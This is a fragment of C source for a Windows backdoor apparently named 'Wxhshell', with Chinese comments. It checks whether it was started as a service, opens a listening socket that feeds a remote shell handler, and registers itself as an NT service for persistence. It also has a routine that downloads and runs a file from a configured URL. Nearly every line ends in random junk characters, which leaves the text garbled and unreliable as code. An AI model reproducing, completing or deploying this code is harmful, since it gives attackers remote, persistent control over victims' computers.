DWORD PebBaseAddress; LO.4sO
DWORD AffinityMask; zx-+u7qKH
DWORD BasePriority; :G^`LyOM
ULONG UniqueProcessId; 0&/1{Dk*n
ULONG InheritedFromUniqueProcessId; F.A<e #e?
} PROCESS_BASIC_INFORMATION; ^&&dO*0{
g) v"nNS
PROCNTQSIP NtQueryInformationProcess; n{BC m %
LEhku4U.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PR|Trnd&D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z55,S=i
lha)'
HANDLE hProcess; Ef,@}S
PROCESS_BASIC_INFORMATION pbi; &;)~bS(
r
%0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U_}$QW0'
if(NULL == hInst ) return 0; !u6~#.7
?RpT_u
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #C+Gk4"w
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a
#@Q.wL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); --.j&w
T]^F%D%
if (!NtQueryInformationProcess) return 0; ?qO,=ms>-
Sa,N1r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'EZ[aY!);
if(!hProcess) return 0; EE}NA{b
X8Sk
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MruWt*
dt`L}Yi
CloseHandle(hProcess); (X!/tw,.
p~8~EQFj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X3W)c&Pr
if(hProcess==NULL) return 0; S_bay8L1
-m|b2g}"3
HMODULE hMod; rG\m]C3 E
char procName[255]; CzvlZDo
unsigned long cbNeeded; 'R,d?ikY
ZC2C`S\xr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6km
u'vw
Q`vyDoF
CloseHandle(hProcess); {t=Nnc15K
keJec`q=X
if(strstr(procName,"services")) return 1; // 以服务启动 s`#hk^{
k2t?e:)3zr
return 0; // 注册表启动 w:Lu
} _23sIUN c3
;*Rajq
// 主模块 B4|`Z'U#;
int StartWxhshell(LPSTR lpCmdLine) HO@T2t[
{ V)@MM2,
SOCKET wsl; QK? 5)[ J
BOOL val=TRUE; JG( <
int port=0; w4x 8
Sre
struct sockaddr_in door; WHN b.>
.vW~(ZuD
if(wscfg.ws_autoins) Install(); 4|2$b:t
VBH[aIW
port=atoi(lpCmdLine); Nb];LCx
%M`|0g}!
if(port<=0) port=wscfg.ws_port; %<M<'jxSca
dX$])b_Uw
WSADATA data; p +T&9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D~?kvyJ
%I.{umU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -:~`g*3#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8m1zL[.8g
door.sin_family = AF_INET; z=K5~nU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i*^K)SI8
door.sin_port = htons(port); RChY+3,L)
,gOQIS56
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;etQ
closesocket(wsl); ttsB'|ps
return 1; 8uT6Q C f
} .|aSGvE
aDOH3Ri0K!
if(listen(wsl,2) == INVALID_SOCKET) { 1|nB\xgu
closesocket(wsl); DY07?x7
return 1; O,>&w5
} ks r5P~
Wxhshell(wsl); #!5Nbe
WSACleanup(); e`~q;?:
7S1!|*/
I
return 0; kyjH~mK4
yBe/UFp+
} _bd#C
b@X@5SJFW
// 以NT服务方式启动 YpKai3 B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d#d~t[=
{ E{6}'FG+A
DWORD status = 0; u]2k %TUY
DWORD specificError = 0xfffffff; [.Y=~)7FB
E, v1F!
serviceStatus.dwServiceType = SERVICE_WIN32; l3afuD:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m[bu(q z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V")Q4h{
serviceStatus.dwWin32ExitCode = 0; c:6w >:
serviceStatus.dwServiceSpecificExitCode = 0; qnS7z%H8
serviceStatus.dwCheckPoint = 0; IY19G U9
serviceStatus.dwWaitHint = 0; Kulg84<AwM
B.G!7>=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f2u2Ns0Ym
if (hServiceStatusHandle==0) return; 7wqwDE
#NE^f2
status = GetLastError(); *Vc=]Z2G^
if (status!=NO_ERROR) Kje+Niz7
{ -J30g\
serviceStatus.dwCurrentState = SERVICE_STOPPED; FGH>;H@
serviceStatus.dwCheckPoint = 0; M/DTD98'N
serviceStatus.dwWaitHint = 0; :3t])mL#
serviceStatus.dwWin32ExitCode = status; g.]'0)DMW
serviceStatus.dwServiceSpecificExitCode = specificError; ]Bsq?e^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .UYpPuAkn
return; ye%F <:O7
} e)xWQ=,C
2)A
D'
serviceStatus.dwCurrentState = SERVICE_RUNNING; S|J8:-
serviceStatus.dwCheckPoint = 0; bVx]r[
serviceStatus.dwWaitHint = 0; mTPj@F>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CHU'FSq!
} **q/'K
%PS-nF7v
// 处理NT服务事件,比如:启动、停止 !kcg#+s91
VOID WINAPI NTServiceHandler(DWORD fdwControl) FSmi.7
{ @Y,F&8a$
switch(fdwControl) Hj\~sR$L-
{ aOHCr>po,
case SERVICE_CONTROL_STOP: ,$]q2aL
serviceStatus.dwWin32ExitCode = 0; N 93E;B
serviceStatus.dwCurrentState = SERVICE_STOPPED; _tk5?9Ykn
serviceStatus.dwCheckPoint = 0; oB\Xl)A<
serviceStatus.dwWaitHint = 0; nAg(lNOWN
{ zoJ;5a.3B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UIl_&|
} TUaK:*x*
return; [:QMnJ
case SERVICE_CONTROL_PAUSE: (*RybKoaA
serviceStatus.dwCurrentState = SERVICE_PAUSED; l(5-Cr
break; ;Wa{q.)
case SERVICE_CONTROL_CONTINUE: &~%@QC/
serviceStatus.dwCurrentState = SERVICE_RUNNING; N>R%0m<e
break; ie(7m|.
case SERVICE_CONTROL_INTERROGATE: (<l2 ^H
break; v'!Ntk
}; 3+-(;>>\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h9I)<_}R
} X*"Kg
nIjQLx
// 标准应用程序主函数 RF J ;hh
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FZ9<Q
{ ^kr)U8
z6lz*%Yi
// 获取操作系统版本 j;v%4G
OsIsNt=GetOsVer(); [hL1PWKs
GetModuleFileName(NULL,ExeFile,MAX_PATH); +29\'w,
{h"\JI!
// 从命令行安装
@__;RVQ
if(strpbrk(lpCmdLine,"iI")) Install(); Nd_@J&
`I8^QcP
// 下载执行文件 ymZ/(:3_
if(wscfg.ws_downexe) { {+2cRr.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tTGK25&